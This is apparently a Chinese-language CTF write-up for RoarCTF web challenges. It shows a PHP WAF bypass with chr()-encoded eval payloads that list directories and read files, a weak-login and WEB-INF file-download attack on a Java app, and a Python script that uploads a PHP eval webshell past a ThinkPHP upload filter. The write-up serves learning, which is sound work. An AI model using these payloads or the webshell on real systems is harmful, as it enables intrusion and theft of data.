roarctf web

前言

好像比赛的时候环境挺卡的,一直打不开题目。。然后就放弃了,佛系摸鱼,赛后记录

easy_calc

访问calc.php得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

发现输入不符合要求的数据时会返回403,猜测有waf,https://www.secjuice.com/abusing-php-query-string-parser-bypass-ids-ips-waf/

传入?%20num=xxx就可以绕过

扫描根目录,看到flag文件为f1agg

1
calc.php?%20num=var_dump(scandir(chr(47)))

直接读文件

1
calc.php?%20num=var_dump(readfile(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

赛后发现有师傅是用http请求走私做的,通过使用两个 “Content-Length”,构造一个畸形的http包绕过

1

easy java

弱口令登录,admin/admin888,发现只有一张图片,什么都没有

2

返回登录,发现存在/Download?filename=help.docx,但是get并不能下载,改成post即可下载

尝试读取/WEB-INF/web.xml得到flag所在位置

3

读取?filename=/WEB-INF/classes/com/wm/ctf/FlagController.class即可getflag

4

后记

WEB-INF是Java的WEB应用的安全目录。如果想在页面中直接访问其中的文件,必须通过web.xml文件对要访问的文件进行相应映射才能访问。WEB-INF主要包含一下文件或目录:

1
2
3
4
5
/WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。  
/WEB-INF/classes/:含了站点所有用的 class 文件,包括 servlet class 和非servlet class,他们不能包含在 .jar文件中
/WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
/WEB-INF/database.properties:数据库配置文件

simple_upload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
show_source(__FILE__);
}
public function upload()
{
$uploadFile = $_FILES['file'] ;

if (strstr(strtolower($uploadFile['name']), ".php") ) {
return false;
}

$upload = new \Think\Upload();// 实例化上传类
$upload->maxSize = 4096 ;// 设置附件上传大小
$upload->allowExts = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
$upload->rootPath = './Public/Uploads/';// 设置附件上传目录
$upload->savePath = '';// 设置附件上传子目录
$info = $upload->upload() ;
if(!$info) {// 上传错误提示错误信息
$this->error($upload->getError());
return;
}else{// 上传成功 获取上传文件信息
$url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
echo json_encode(array("url"=>$url,"success"=>1));
}
}
}

thinkphp文件上传,在thinkphp中,限制后缀的是$upload->exts,因此可以忽略$upload->allowExts,由于题目中只限制了$_FILES[file]的上传后缀,也只给出$_FILES[file]上传后的路径,那我们上传多文件就可以绕过php后缀限制

1
2
3
4
5
6
7
8
9
10
11
import requests

url = "http://7f3f838d-7bae-4361-ab0f-9df900314557.node3.buuoj.cn/index.php/home/index/upload"
files = {'file':('test.txt','123')}
files1 = {'file1':('test.php','<?php eval($_GET["a"]);')}
r = requests.post(url,files=files)
print r.content
r = requests.post(url,files=files1)
print r.content
r = requests.post(url,files=files)
print r.content

根据前后俩文件名之间的差异来爆破php所在的文件名,访问getflag

Online Proxy

刚看到题目,以为是ssrf,后来发现是xff注入,撒都没过滤的注入

dict

不会。。8会go

phpshe

后续再看